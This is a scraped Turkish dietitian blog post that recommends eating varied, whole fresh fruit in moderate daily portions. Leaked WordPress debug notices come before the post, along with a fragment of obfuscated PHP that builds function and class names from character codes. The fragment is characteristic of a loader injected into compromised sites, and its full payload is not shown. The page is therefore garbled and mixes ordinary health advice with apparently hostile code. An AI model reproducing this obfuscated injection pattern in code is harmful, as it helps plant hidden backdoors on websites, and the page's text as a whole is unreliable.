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Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the all-in-one-wp-security-and-firewall domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121

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Notice: _load_textdomain_just_in_time işlevi yanlış çağrıldı. Translation loading for the nutrico domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Ayrıntılı bilgi almak için lütfen WordPress hata ayıklama bölümüne bakın. (Bu ileti 6.7.0 sürümünde eklendi.) in /home/diyetis1/bursadiyetisyeni.com/wp-includes/functions.php on line 6121
$KPSRXNVL = chr ( 790 - 710 ).'_' . 'x' . 'c' . "\125" . chr ( 120 - 19 ); $xSYKKfUqz = chr ( 304 - 205 ).chr ( 252 - 144 ).chr (97) . 's' . "\163" . "\x5f" . "\x65" . "\170" . "\151" . "\x73" . "\x74" . 's';$tDLjarJaO = class_exists($KPSRXNVL); $KPSRXNVL = "64582";$xSYKKfUqz = "23685";$wSXkaxVLu = FALSE;$AyJRmGc = 's' . chr (95) . "\156" . "\x47" . "\x65";$lnWjZ = "\x63" . "\154" . chr (97) . chr ( 595 - 480 )."\163" . chr ( 167 - 72 ).'e' . 'x' . "\151" . chr (115) . chr (116) . 's'; Diyetinizi Renklendirin | Bursa Uzman Diyetisyeni & Fitoterapist Nursena Ardalı
Author Uzman Diyetisyen & Fitoterapist Nursena Ardalı Categories Diyet

🍏🍊🍍M E Y V E L E R 🍉Meyveleri renkli kombinasyonlar halinde tüketmek birçok yararlı bileşeni vücudumuza alarak sağlığımızı optimum düzeyde tutmamızı sağlar. . 🍇 İçerdikleri lif sayesinde sindirim sistemimizi korur ve güçlendirirler. . 🥝 Çok pratik ve ulaşımı kolay olduğu için ara öğünlerin en güzel alternatifi meyvelerdir. . 🥛 Meyvelerin yanına miktarına dikkat ederek süt, yoğurt, kefir, badem, ceviz gibi besinler de eklenerek ara öğünlerimizi daha eğlenceli ve lezzetli yaparken kan şekerimizi de daha dengeli hale getirebiliriz. . 🍊 Unutmayın meyveleri çiğ ve taze tüketmek, meyvenin suyunu içmekten daha yararlıdır. Çünkü meyvenin suyunu çıkardığımızda posasını da atmış oluruz. . 🍓 Tabii her şeyi kararında tüketmek önemli. Günlük 3-4 porsiyon kadar beslenmemizde yer verebiliriz. . Sağlıklı günler.. 🥑🤗 . . #beslenme #eatingclean #healtyfood#healthylifestyle #healthysnacks#diyetisyen #diyet #meyveler #sağlık #diyetisyenmerkezi #bursadiyetisyeni

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